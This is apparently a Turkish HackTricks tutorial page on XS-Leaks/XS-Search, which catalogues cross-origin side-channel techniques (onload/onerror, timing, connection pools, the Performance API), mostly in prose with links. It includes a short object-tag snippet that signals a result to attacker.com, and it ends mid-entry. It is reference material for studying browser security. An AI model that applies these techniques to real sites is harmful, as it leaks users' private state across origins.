XS-Search/XS-Leaks
Reading time: 49 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
XS-Search, yan kanal zafiyetlerini kullanarak çapraz köken bilgilerini çıkarmak için kullanılan bir yöntemdir.
Bu saldırıda yer alan ana bileşenler şunlardır:
- Zayıf Web: Bilgilerin çıkarılmasının hedeflendiği web sitesi.
- Saldırganın Webi: Saldırgan tarafından oluşturulan, kurbanın ziyaret ettiği ve istismarı barındıran kötü niyetli web sitesi.
- Dahil Etme Yöntemi: Zayıf Web'in Saldırganın Webi'ne dahil edilmesi için kullanılan teknik (örneğin, window.open, iframe, fetch, href ile HTML etiketi vb.).
- Sızıntı Tekniği: Dahil etme yöntemi aracılığıyla toplanan bilgilere dayanarak Zayıf Web'in durumundaki farklılıkları ayırt etmek için kullanılan teknikler.
- Durumlar: Saldırganın ayırt etmeyi hedeflediği Zayıf Web'in iki potansiyel durumu.
- Tespit Edilebilir Farklılıklar: Saldırganın Zayıf Web'in durumunu çıkarmak için güvendiği gözlemlenebilir varyasyonlar.
Tespit Edilebilir Farklılıklar
Zayıf Web'in durumlarını ayırt etmek için analiz edilebilecek birkaç yön vardır:
- Durum Kodu: Çeşitli HTTP yanıt durum kodları arasında ayırt etme, sunucu hataları, istemci hataları veya kimlik doğrulama hataları gibi.
- API Kullanımı: Sayfalar arasında Web API'lerinin kullanımını belirleme, çapraz köken bir sayfanın belirli bir JavaScript Web API'sini kullanıp kullanmadığını ortaya çıkarma.
- Yönlendirmeler: Farklı sayfalara yapılan navigasyonları tespit etme, sadece HTTP yönlendirmeleri değil, aynı zamanda JavaScript veya HTML tarafından tetiklenenler.
- Sayfa İçeriği: HTTP yanıt gövdesindeki veya sayfa alt kaynaklarındaki varyasyonları gözlemleme, örneğin gömülü çerçevelerin sayısı veya resimlerdeki boyut farklılıkları.
- HTTP Başlığı: Belirli bir HTTP yanıt başlığının varlığını veya muhtemel değerini not etme, X-Frame-Options, Content-Disposition ve Cross-Origin-Resource-Policy gibi başlıklar dahil.
- Zamanlama: İki durum arasındaki tutarlı zaman farklılıklarını fark etme.
Dahil Etme Yöntemleri
- HTML Elemanları: HTML, çapraz köken kaynak dahil etme için çeşitli elemanlar sunar, stil sayfaları, resimler veya betikler gibi, tarayıcının HTML dışı bir kaynağı talep etmesini zorunlu kılar. Bu amaçla potansiyel HTML elemanlarının bir derlemesi https://github.com/cure53/HTTPLeaks adresinde bulunabilir.
- Çerçeveler: iframe, object ve embed gibi elemanlar, HTML kaynaklarını doğrudan saldırganın sayfasına gömebilir. Sayfa çerçeve koruması eksikse, JavaScript, içerikWindow özelliği aracılığıyla çerçevelenmiş kaynağın pencere nesnesine erişebilir.
- Açılır Pencereler:
window.open
yöntemi, bir kaynağı yeni bir sekmede veya pencerede açar ve JavaScript'in SOP'ye uygun olarak yöntemler ve özelliklerle etkileşimde bulunması için bir pencere tutamacı sağlar. Açılır pencereler, genellikle tek oturum açma işlemlerinde kullanılır, hedef kaynağın çerçeveleme ve çerez kısıtlamalarını aşar. Ancak, modern tarayıcılar açılır pencere oluşturmayı belirli kullanıcı eylemleriyle sınırlamaktadır. - JavaScript İstekleri: JavaScript, XMLHttpRequests veya Fetch API kullanarak hedef kaynaklara doğrudan istekler yapmaya izin verir. Bu yöntemler, isteği takip etme gibi isteğin üzerinde hassas kontrol sağlar.
Sızıntı Teknikleri
- Olay İşleyici: XS-Leaks'teki klasik bir sızıntı tekniği, onload ve onerror gibi olay işleyicilerin kaynak yükleme başarısı veya başarısızlığı hakkında bilgi sağlamasıdır.
- Hata Mesajları: JavaScript istisnaları veya özel hata sayfaları, ya doğrudan hata mesajından ya da varlığı ve yokluğu arasındaki farkı ayırt ederek sızıntı bilgisi sağlayabilir.
- Küresel Sınırlar: Bir tarayıcının fiziksel sınırlamaları, bellek kapasitesi veya diğer zorunlu tarayıcı sınırları gibi, bir eşik aşıldığında sinyal verebilir ve bir sızıntı tekniği olarak hizmet edebilir.
- Küresel Durum: Tarayıcıların küresel durumları (örneğin, Geçmiş arayüzü) ile tespit edilebilir etkileşimler istismar edilebilir. Örneğin, bir tarayıcının geçmişindeki giriş sayısı, çapraz köken sayfalar hakkında ipuçları verebilir.
- Performans API'si: Bu API, mevcut sayfanın performans detaylarını sağlar, belgenin ve yüklenen kaynakların ağ zamanlamasını içerir, istenen kaynaklar hakkında çıkarımlar yapmayı mümkün kılar.
- Okunabilir Özellikler: Bazı HTML özellikleri çapraz köken okunabilir ve sızıntı tekniği olarak kullanılabilir. Örneğin,
window.frame.length
özelliği, JavaScript'in bir web sayfasında çapraz köken olarak dahil edilen çerçeveleri saymasına olanak tanır.
XSinator Aracı ve Makalesi
XSinator, birçok bilinen XS-Leaks'e karşı tarayıcıları kontrol etmek için otomatik bir araçtır ve makalesinde açıklanmıştır: https://xsinator.com/paper.pdf
Araca şu adresten erişebilirsiniz: https://xsinator.com/
warning
Hariç Tutulan XS-Leaks: XSinator'daki diğer sızıntılarla çelişeceği için hizmet çalışanlarına dayanan XS-Leaks'leri hariç tutmak zorunda kaldık. Ayrıca, belirli bir web uygulamasındaki yanlış yapılandırma ve hatalara dayanan XS-Leaks'leri de hariç tutmayı seçtik. Örneğin, CrossOrigin Resource Sharing (CORS) yanlış yapılandırmaları, postMessage sızıntıları veya Cross-Site Scripting. Ayrıca, genellikle yavaş, gürültülü ve hatalı oldukları için zaman tabanlı XS-Leaks'leri de hariç tuttuk.
Zaman Tabanlı Teknikler
Aşağıdaki tekniklerden bazıları, web sayfalarının olası durumlarındaki farklılıkları tespit etmek için zaman kullanacak. Bir web tarayıcısında zamanı ölçmenin farklı yolları vardır.
Saatler: performance.now() API'si, geliştiricilerin yüksek çözünürlüklü zaman ölçümleri almasına olanak tanır.
Saldırganların örtük saatler oluşturmak için kötüye kullanabileceği önemli sayıda API vardır: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSS animasyonları ve diğerleri.
Daha fazla bilgi için: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.
Olay İşleyici Teknikleri
Onload/Onerror
- Dahil Etme Yöntemleri: Çerçeveler, HTML Elemanları
- Tespit Edilebilir Farklılık: Durum Kodu
- Daha fazla bilgi: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/
- Özet: Bir kaynağı yüklemeye çalışırken, onerror/onload olayları, kaynağın başarıyla/başarısız bir şekilde yüklenmesi durumunda tetiklenir; durum kodunu belirlemek mümkündür.
- Kod örneği: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)
Kod örneği, JS'den betik nesnelerini yüklemeye çalışır, ancak diğer etiketler (örneğin, nesneler, stil sayfaları, resimler, sesler) de kullanılabilir. Ayrıca, etiketi doğrudan enjekte etmek ve onload
ve onerror
olaylarını etiketin içinde tanımlamak da mümkündür (JS'den enjekte etmek yerine).
Bu saldırının bir de betiksiz versiyonu vardır:
<object data="//example.com/404">
<object data="//attacker.com/?error"></object>
</object>
Bu durumda example.com/404
bulunamazsa attacker.com/?error
yüklenecektir.
Onload Zamanlaması
- Dahil Etme Yöntemleri: HTML Elemanları
- Tespit Edilebilir Fark: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events
- Özet: performance.now() API'si, bir isteği gerçekleştirmek için ne kadar zaman gerektiğini ölçmek için kullanılabilir. Ancak, 50ms'den fazla süren görevleri tanımlayabilen PerformanceLongTaskTiming API gibi diğer saatler de kullanılabilir.
- Kod Örneği: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events başka bir örnek:
Onload Zamanlaması + Zorunlu Ağır Görev
Bu teknik, bir öncekiyle aynıdır, ancak saldırgan ayrıca cevap olumlu veya olumsuz olduğunda ilgili bir süre alacak bir eylemi zorlayacaktır ve o süreyi ölçer.
performance.now + Force heavy task
unload/beforeunload Zamanlaması
- Dahil Etme Yöntemleri: Çerçeveler
- Tespit Edilebilir Fark: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
- Özet: SharedArrayBuffer saati, bir isteği gerçekleştirmek için ne kadar zaman gerektiğini ölçmek için kullanılabilir. Diğer saatler de kullanılabilir.
- Kod Örneği: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events
Bir kaynağı almak için geçen süre, unload
ve beforeunload
olaylarını kullanarak ölçülebilir. beforeunload
olayı, tarayıcının yeni bir sayfaya geçmek üzere olduğu zaman tetiklenirken, unload
olayı geçişin gerçekten gerçekleştiği zaman meydana gelir. Bu iki olay arasındaki zaman farkı, tarayıcının kaynağı almak için harcadığı süreyi belirlemek için hesaplanabilir.
Sandboxed Çerçeve Zamanlaması + onload
- Dahil Etme Yöntemleri: Çerçeveler
- Tespit Edilebilir Fark: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
- Özet: performance.now() API'si, bir isteği gerçekleştirmek için ne kadar zaman gerektiğini ölçmek için kullanılabilir. Diğer saatler de kullanılabilir.
- Kod Örneği: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks
Framing Protections yokluğunda, bir sayfanın ve alt kaynaklarının ağ üzerinden yüklenmesi için gereken zamanın bir saldırgan tarafından ölçülebileceği gözlemlenmiştir. Bu ölçüm genellikle mümkündür çünkü bir iframe'in onload
işleyicisi, kaynak yüklemesi ve JavaScript yürütmesi tamamlandıktan sonra tetiklenir. Script yürütmesinin getirdiği değişkenliği aşmak için, bir saldırgan <iframe>
içinde sandbox
niteliğini kullanabilir. Bu niteliğin dahil edilmesi, JavaScript'in yürütülmesi gibi birçok işlevselliği kısıtlar ve böylece ağırlıklı olarak ağ performansından etkilenen bir ölçüm yapılmasını kolaylaştırır.
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
#ID + error + onload
- Dahil Etme Yöntemleri: Frames
- Tespit Edilebilir Fark: Sayfa İçeriği
- Daha fazla bilgi:
- Özet: Sayfa doğru içerik erişildiğinde hata veriyorsa ve herhangi bir içerik erişildiğinde doğru bir şekilde yükleniyorsa, o zaman tüm bilgileri zaman ölçmeden çıkarmak için bir döngü oluşturabilirsiniz.
- Kod Örneği:
Sayfanın gizli içeriği bir Iframe içinde eklenebileceğini varsayalım.
Kurbanın Iframe kullanarak "flag" içeren dosyayı aramasını sağlayabilirsiniz (örneğin bir CSRF istismar ederek). Iframe içinde onload olayı her zaman en az bir kez çalıştırılacağını biliyorsunuz. Sonra, iframe'in URL'sini değiştirerek sadece hash içeriğini değiştirebilirsiniz.
Örneğin:
- URL1: www.attacker.com/xssearch#try1
- URL2: www.attacker.com/xssearch#try2
Eğer ilk URL başarıyla yüklendiyse, o zaman URL'nin hash kısmını değiştirirken onload olayı tekrar tetiklenmeyecek. Ama eğer sayfa yüklenirken bir tür hata almışsa, o zaman onload olayı tekrar tetiklenecektir.
O zaman, erişildiğinde doğru yüklenmiş bir sayfa ile hata olan bir sayfa arasında ayrım yapabilirsiniz.
Javascript İcra
- Dahil Etme Yöntemleri: Frames
- Tespit Edilebilir Fark: Sayfa İçeriği
- Daha fazla bilgi:
- Özet: Eğer sayfa hassas içeriği dönüyorsa, veya kullanıcı tarafından kontrol edilebilen bir içerik dönüyorsa. Kullanıcı geçersiz durumda geçerli JS kodu ayarlayabilir, her denemeyi
<script>
etiketleri içinde yükleyebilir, böylece geçersiz durumlarda saldırganların kodu çalıştırılır, ve geçerli durumlarda hiçbir şey çalıştırılmaz. - Kod Örneği:
CORB - Onerror
- Dahil Etme Yöntemleri: HTML Elemanları
- Tespit Edilebilir Fark: Durum Kodu & Başlıklar
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/browser-features/corb/
- Özet: Cross-Origin Read Blocking (CORB), web sayfalarının belirli hassas çapraz kaynaklı kaynakları yüklemesini engelleyen bir güvenlik önlemidir. Ancak, saldırganlar bu koruyucu davranışı istismar edebilir. CORB'ye tabi bir yanıt,
nosniff
ile birlikte CORB korumalıContent-Type
ve2xx
durum kodu dönerse, CORB yanıtın gövdesini ve başlıklarını temizler. Bunu gözlemleyen saldırganlar, durum kodu (başarı veya hata gösteren) veContent-Type
(koruma altında olup olmadığını belirten) kombinasyonunu çıkarabilir, bu da potansiyel bilgi sızıntısına yol açar. - Kod Örneği:
Daha fazla bilgi için daha fazla bilgi bağlantısını kontrol edin.
onblur
- Dahil Etme Yöntemleri: Frames
- Tespit Edilebilir Fark: Sayfa İçeriği
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/
- Özet: id veya name niteliğinden hassas verileri sızdırın.
- Kod Örneği: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet
Bir iframe içinde bir sayfa yüklemek ve sayfanın belirtilen ifadesinin üzerinde odaklanmasını sağlamak için #id_value
kullanmak mümkündür, ardından bir onblur
sinyali tetiklendiğinde, ID elemanı var demektir.
Aynı saldırıyı portal
etiketleri ile de gerçekleştirebilirsiniz.
postMessage Yayınları
- Dahil Etme Yöntemleri: Frames, Pop-up'lar
- Tespit Edilebilir Fark: API Kullanımı
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/
- Özet: postMessage'dan hassas bilgi toplayın veya postMessages'ın varlığını kullanarak sayfadaki kullanıcının durumunu bilmek için bir oracle olarak kullanın.
- Kod Örneği:
Tüm postMessages'ı dinleyen herhangi bir kod.
Uygulamalar genellikle postMessage
yayınlarını farklı kökenler arasında iletişim kurmak için kullanır. Ancak, targetOrigin
parametresi düzgün bir şekilde belirtilmezse, bu yöntem istemeden hassas bilgileri açığa çıkarabilir ve herhangi bir pencerenin mesajları almasına izin verebilir. Ayrıca, bir mesaj almanın kendisi bir oracle olarak işlev görebilir; örneğin, belirli mesajlar yalnızca oturum açmış kullanıcılara gönderilebilir. Bu nedenle, bu mesajların varlığı veya yokluğu, kullanıcının durumu veya kimliği hakkında bilgi verebilir, örneğin, kimlik doğrulamalarının olup olmadığını.
Küresel Sınırlar Teknikleri
WebSocket API
- Dahil Etme Yöntemleri: Frames, Pop-up'lar
- Tespit Edilebilir Fark: API Kullanımı
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.1)
- Özet: WebSocket bağlantı limitini tüketmek, bir çapraz kaynak sayfasının WebSocket bağlantı sayısını sızdırır.
- Kod Örneği: https://xsinator.com/testing.html#WebSocket%20Leak%20(FF), https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)
Bir hedef sayfanın kaç tane WebSocket bağlantısı kullandığını belirlemek mümkündür. Bu, bir saldırganın uygulama durumlarını tespit etmesine ve WebSocket bağlantı sayısına bağlı bilgileri sızdırmasına olanak tanır.
Eğer bir köken maksimum WebSocket bağlantı nesnelerini kullanıyorsa, bağlantı durumlarından bağımsız olarak, yeni nesnelerin oluşturulması JavaScript istisnalarına yol açar. Bu saldırıyı gerçekleştirmek için, saldırgan web sitesi hedef web sitesini bir pop-up veya iframe içinde açar ve ardından hedef web yüklendikten sonra mümkün olan maksimum sayıda WebSocket bağlantısı oluşturmaya çalışır. Atılan istisnaların sayısı, hedef web sitesinin kullandığı WebSocket bağlantı sayısıdır.
Ödeme API'si
- Dahil Etme Yöntemleri: Frames, Pop-up'lar
- Tespit Edilebilir Fark: API Kullanımı
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.1)
- Özet: Ödeme Talebini tespit edin çünkü yalnızca bir tane aktif olabilir.
- Kod Örneği: https://xsinator.com/testing.html#Payment%20API%20Leak
Bu XS-Sızıntı, bir saldırganın bir çapraz kaynak sayfasının ödeme talebi başlattığını tespit etmesine olanak tanır.
Çünkü aynı anda yalnızca bir ödeme talebi aktif olabilir, eğer hedef web sitesi Ödeme Talebi API'sini kullanıyorsa, bu API'yi kullanma girişimleri başarısız olacak ve bir JavaScript istisnası oluşturacaktır. Saldırgan, periyodik olarak Ödeme API'si UI'sını göstermeye çalışarak bunu istismar edebilir. Eğer bir deneme bir istisna oluşturursa, hedef web sitesi şu anda bunu kullanıyor demektir. Saldırgan, UI oluşturulduktan hemen sonra kapatarak bu periyodik denemeleri gizleyebilir.
Olay Döngüsünü Zamanlama
- Dahil Etme Yöntemleri:
- Tespit Edilebilir Fark: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop
- Özet: Tek iş parçacıklı JS olay döngüsünü kötüye kullanarak bir webin icra süresini ölçün.
- Kod Örneği:
Event Loop Blocking + Lazy images
JavaScript, tek iş parçacıklı bir olay döngüsü eşzamanlılık modelinde çalışır, bu da sadece bir görevi aynı anda gerçekleştirebileceği anlamına gelir. Bu özellik, farklı bir kökenden gelen kodun çalıştırılmasının ne kadar sürdüğünü ölçmek için istismar edilebilir. Bir saldırgan, olay havuzunun boş olduğu zamanlarda sabit özelliklere sahip olayları sürekli olarak göndererek kendi kodunun olay döngüsündeki icra süresini ölçebilir. Eğer diğer kökenler de aynı havuza olay gönderiyorsa, bir saldırgan, kendi görevlerinin icrasındaki gecikmeleri gözlemleyerek bu dış olayların ne kadar sürdüğünü çıkarabilir. Olay döngüsündeki gecikmeleri izleme yöntemi, farklı kökenlerden gelen kodun icra süresini açığa çıkarabilir ve potansiyel olarak hassas bilgileri sızdırabilir.
warning
Bir icra zamanlamasında, daha kesin ölçümler elde etmek için ağ faktörlerini ortadan kaldırmak mümkündür. Örneğin, sayfa yüklenmeden önce kullanılan kaynakları yükleyerek.
Meşgul Olay Döngüsü
- Dahil Etme Yöntemleri:
- Tespit Edilebilir Fark: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
- Özet: Bir web işleminin icra süresini ölçmenin bir yöntemi, bir iş parçacığının olay döngüsünü kasıtlı olarak engellemek ve ardından olay döngüsünün tekrar kullanılabilir hale gelmesi için ne kadar sürdüğünü zamanlamaktır. Olay döngüsüne bir engelleyici işlem (uzun bir hesaplama veya senkron API çağrısı gibi) ekleyerek ve sonraki kodun icra edilmeye başlaması için geçen süreyi izleyerek, engelleme süresi boyunca olay döngüsünde icra edilen görevlerin süresini çıkarabilirsiniz. Bu teknik, JavaScript'in olay döngüsünün tek iş parçacıklı doğasını kullanır; burada görevler sıralı olarak icra edilir ve aynı iş parçacığını paylaşan diğer işlemlerin performansı veya davranışı hakkında içgörüler sağlayabilir.
- Kod Örneği:
Olay döngüsünü kilitleyerek icra süresini ölçme tekniğinin önemli bir avantajı, Site İzolasyonu'nu aşma potansiyelidir. Site İzolasyonu, farklı web sitelerini ayrı süreçlere ayıran bir güvenlik özelliğidir ve kötü niyetli sitelerin diğer sitelerden hassas verilere doğrudan erişimini engellemeyi amaçlar. Ancak, bir saldırgan, paylaşılan olay döngüsü aracılığıyla başka bir kökenin icra zamanlamasını etkileyerek, o kökenin faaliyetleri hakkında dolaylı olarak bilgi çıkarabilir. Bu yöntem, diğer kökenin verilerine doğrudan erişim gerektirmez, aksine o kökenin faaliyetlerinin paylaşılan olay döngüsü üzerindeki etkisini gözlemler, böylece Site İzolasyonu tarafından oluşturulan koruyucu engellerden kaçınır.
warning
Bir icra zamanlamasında, daha kesin ölçümler elde etmek için ağ faktörlerini ortadan kaldırmak mümkündür. Örneğin, sayfa yüklenmeden önce kullanılan kaynakları yükleyerek.
Bağlantı Havuzu
- Dahil Etme Yöntemleri: JavaScript İstekleri
- Tespit Edilebilir Fark: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
- Daha fazla bilgi: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
- Özet: Bir saldırgan, 1 hariç tüm soketleri kilitleyebilir, hedef web'i yükleyebilir ve aynı anda başka bir sayfayı yükleyebilir, son sayfanın yüklenmeye başlaması için geçen süre, hedef sayfanın yüklenmesi için geçen süredir.
- Kod Örneği:
Tarayıcılar, sunucu iletişimi için soketler kullanır, ancak işletim sistemi ve donanımın sınırlı kaynakları nedeniyle, tarayıcılar eşzamanlı soket sayısına bir sınır koymak zorundadır. Saldırganlar bu sınırlamayı aşağıdaki adımlarla istismar edebilir:
- Tarayıcının soket limitini belirleyin, örneğin, 256 global soket.
- 255 soketi uzun bir süre boyunca, bağlantıları tamamlamadan açık tutacak şekilde, çeşitli hostlara 255 istek başlatarak doldurun.
- Hedef sayfaya bir istek göndermek için 256. soketi kullanın.
- Farklı bir hosta 257. bir istek yapmaya çalışın. Tüm soketler kullanıldığından (2. ve 3. adımlara göre), bu istek bir soket mevcut olana kadar bekleyecektir. Bu isteğin ilerlemesi için geçen gecikme, saldırgana 256. soketle (hedef sayfanın soketi) ilgili ağ etkinliği hakkında zaman bilgisi sağlar. Bu çıkarım, 2. adımda kullanılan 255 soketin hala meşgul olması nedeniyle mümkündür; bu, yeni mevcut olan soketin 3. adımda serbest bırakılan soket olması gerektiği anlamına gelir. 256. soketin mevcut hale gelmesi için geçen süre, dolayısıyla hedef sayfaya yapılan isteğin tamamlanması için gereken süreyle doğrudan bağlantılıdır.
Daha fazla bilgi için: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
Hedefe Göre Bağlantı Havuzu
- Dahil Etme Yöntemleri: JavaScript İstekleri
- Tespit Edilebilir Fark: Zamanlama (genellikle Sayfa İçeriği, Durum Kodu nedeniyle)
- Daha fazla bilgi:
- Özet: Önceki teknikle aynı, ancak tüm soketleri kullanmak yerine, Google Chrome aynı kökene 6 eşzamanlı istek sınırı koyar. Eğer 5'ini engellersek ve ardından 6. bir istek başlatırsak, bunu zamanlayabiliriz ve eğer kurban sayfasının aynı uç noktaya daha fazla istek göndermesini sağlarsak, 6. istek daha uzun sürecek ve bunu tespit edebiliriz.
Performans API Teknikleri
Performance API
, web uygulamalarının performans metrikleri hakkında içgörüler sunar ve Resource Timing API
ile daha da zenginleştirilmiştir. Resource Timing API, isteklerin süreleri gibi ayrıntılı ağ isteği zamanlamalarını izlemeyi sağlar. Özellikle, sunucular yanıtlarında Timing-Allow-Origin: *
başlığını içerdiğinde, transfer boyutu ve alan adı arama süresi gibi ek veriler kullanılabilir hale gelir.
Bu veri zenginliği, performance.getEntries
veya performance.getEntriesByName
gibi yöntemler aracılığıyla elde edilebilir ve performansla ilgili bilgilerin kapsamlı bir görünümünü sağlar. Ayrıca, API, performance.now()
ile elde edilen zaman damgaları arasındaki farkı hesaplayarak icra sürelerini ölçmeyi kolaylaştırır. Ancak, Chrome gibi bazı tarayıcılarda performance.now()
'un hassasiyetinin milisaniyelerle sınırlı olabileceği ve bu durumun zamanlama ölçümlerinin ayrıntılığını etkileyebileceği unutulmamalıdır.
Zamanlama ölçümlerinin ötesinde, Performans API'si güvenlikle ilgili içgörüler için de kullanılabilir. Örneğin, Chrome'daki performance
nesnesindeki sayfaların varlığı veya yokluğu, X-Frame-Options
uygulandığını gösterebilir. Özellikle, X-Frame-Options
nedeniyle bir sayfanın bir çerçevede render edilmesi engellenirse, bu sayfa performance
nesnesinde kaydedilmeyecek ve sayfanın çerçeveleme politikaları hakkında ince bir ipucu sağlayacaktır.
Hata Sızıntısı
- Dahil Etme Yöntemleri: Frames, HTML Elemanları
- Tespit Edilebilir Fark: Durum Kodu
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.2)
- Özet: Hatalarla sonuçlanan bir istek, bir kaynak zamanlama girişi oluşturmaz.
- Kod Örneği: https://xsinator.com/testing.html#Performance%20API%20Error%20Leak
HTTP yanıt durum kodları arasında ayrım yapmak mümkündür çünkü bir hata ile sonuçlanan istekler performans girişi oluşturmaz.
Stil Yenileme Hatası
- Dahil Etme Yöntemleri: HTML Elemanları
- Tespit Edilebilir Fark: Durum Kodu
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.2)
- Özet: Bir tarayıcı hatası nedeniyle, hatalarla sonuçlanan istekler iki kez yüklenir.
- Kod Örneği: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak
Önceki teknikte, GC'deki tarayıcı hatalarının, yüklenemeyen kaynakların iki kez yüklenmesine yol açtığı iki durum da tespit edilmiştir. Bu, Performans API'sinde birden fazla girişe yol açar ve bu nedenle tespit edilebilir.
İstek Birleştirme Hatası
- Dahil Etme Yöntemleri: HTML Elemanları
- Tespit Edilebilir Fark: Durum Kodu
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.2)
- Özet: Hatalarla sonuçlanan istekler birleştirilemez.
- Kod Örneği: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak
Bu teknik, bahsedilen belgede bir tabloda bulunmuştur, ancak tekniğin tanımı bulunmamıştır. Ancak, https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak adresinde kontrol ederek kaynak kodunu bulabilirsiniz.
Boş Sayfa Sızıntısı
- Dahil Etme Yöntemleri: Frames
- Tespit Edilebilir Fark: Sayfa İçeriği
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.2)
- Özet: Boş yanıtlar kaynak zamanlama girişleri oluşturmaz.
- Kod Örneği: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak
Bir saldırgan, bir isteğin boş bir HTTP yanıt gövdesi ile sonuçlanıp sonuçlanmadığını tespit edebilir çünkü boş sayfalar bazı tarayıcılarda performans girişi oluşturmaz.
XSS-Auditor Sızıntısı
- Dahil Etme Yöntemleri: Frames
- Tespit Edilebilir Fark: Sayfa İçeriği
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.2)
- Özet: Güvenlik İddialarında XSS Auditor kullanarak, saldırganlar, oluşturulan yüklerin denetleyicinin filtreleme mekanizmasını tetiklemesi durumunda yanıtların değişimini gözlemleyerek belirli web sayfası öğelerini tespit edebilir.
- Kod Örneği: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak
Güvenlik İddialarında (SA), Cross-Site Scripting (XSS) saldırılarını önlemek için tasarlanmış olan XSS Auditor, paradoksal olarak hassas bilgileri sızdırmak için istismar edilebilir. Bu yerleşik özellik Google Chrome'dan (GC) kaldırılmış olsa da, SA'da hala mevcuttur. 2013 yılında Braun ve Heiderich, XSS Auditor'un yanlış pozitiflere yol açarak meşru betikleri yanlışlıkla engelleyebileceğini göstermiştir. Bunun üzerine, araştırmacılar, bilgileri çıkarmak ve çapraz kaynaklı sayfalardaki belirli içerikleri tespit etmek için teknikler geliştirmiştir; bu kavram XS-Sızıntılar olarak bilinir ve ilk olarak Terada tarafından rapor edilmiş, Heyes tarafından bir blog yazısında detaylandırılmıştır. Bu teknikler, GC'deki XSS Auditor'a özgü olmasına rağmen, SA'da XSS Auditor tarafından engellenen sayfaların Performans API'sinde giriş oluşturmadığı keşfedilmiştir; bu da hassas bilgilerin hala sızdırılabileceği bir yöntem sunmaktadır.
X-Frame Sızıntısı
- Dahil Etme Yöntemleri: Frames
- Tespit Edilebilir Fark: Başlık
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options
- Özet: X-Frame-Options başlığına sahip kaynak, kaynak zamanlama girişi oluşturmaz.
- Kod Örneği: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak
Eğer bir sayfanın bir iframe içinde render edilmesine izin verilmezse, bu performans girişi oluşturmaz. Sonuç olarak, bir saldırgan X-Frame-Options
yanıt başlığını tespit edebilir.
Aynı şey bir embed etiketi kullanıldığında da geçerlidir.
İndirme Tespiti
- Dahil Etme Yöntemleri: Frames
- Tespit Edilebilir Fark: Başlık
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.2)
- Özet: İndirmeler, Performans API'sinde kaynak zamanlama girişleri oluşturmaz.
- Kod Örneği: https://xsinator.com/testing.html#Performance%20API%20Download%20Detection
Aynı şekilde, içerik dağıtım başlığı nedeniyle indirilmiş bir kaynak, performans girişi oluşturmaz. Bu teknik, tüm büyük tarayıcılarda çalışır.
Yönlendirme Başlangıç Sızıntısı
- Dahil Etme Yöntemleri: Frames
- Tespit Edilebilir Fark: Yönlendirme
- Daha fazla bilgi: https://xsinator.com/paper.pdf (5.2)
- Özet: Kaynak zamanlama girişi, bir yönlendirmenin başlangıç zamanını sızdırır.
- Kod Örneği: https://xsinator.com/testing.html#Redirect%20Start%20Leak
Bazı tarayıcıların, çapraz kaynaklı istekler için fazla bilgi kaydetme davranışını istismar eden bir XS-Sızıntı örneği bulduk. Standart, çapraz kaynaklı kaynaklar için sıfıra ayarlanması gereken bir dizi özellik tanımlar. Ancak, SA'da, kullanıcıyı hedef sayfa tarafından yönlendirildiğini tespit etmek mümkündür; Performans API'sini sorgulayarak ve redirectStart zamanlama verilerini kontrol ederek.
Süre Yönlendirme Sızıntısı
- Dahil Etme Yöntemleri: Fetch API
- Tespit Edilebilir Fark: Yönlendirme
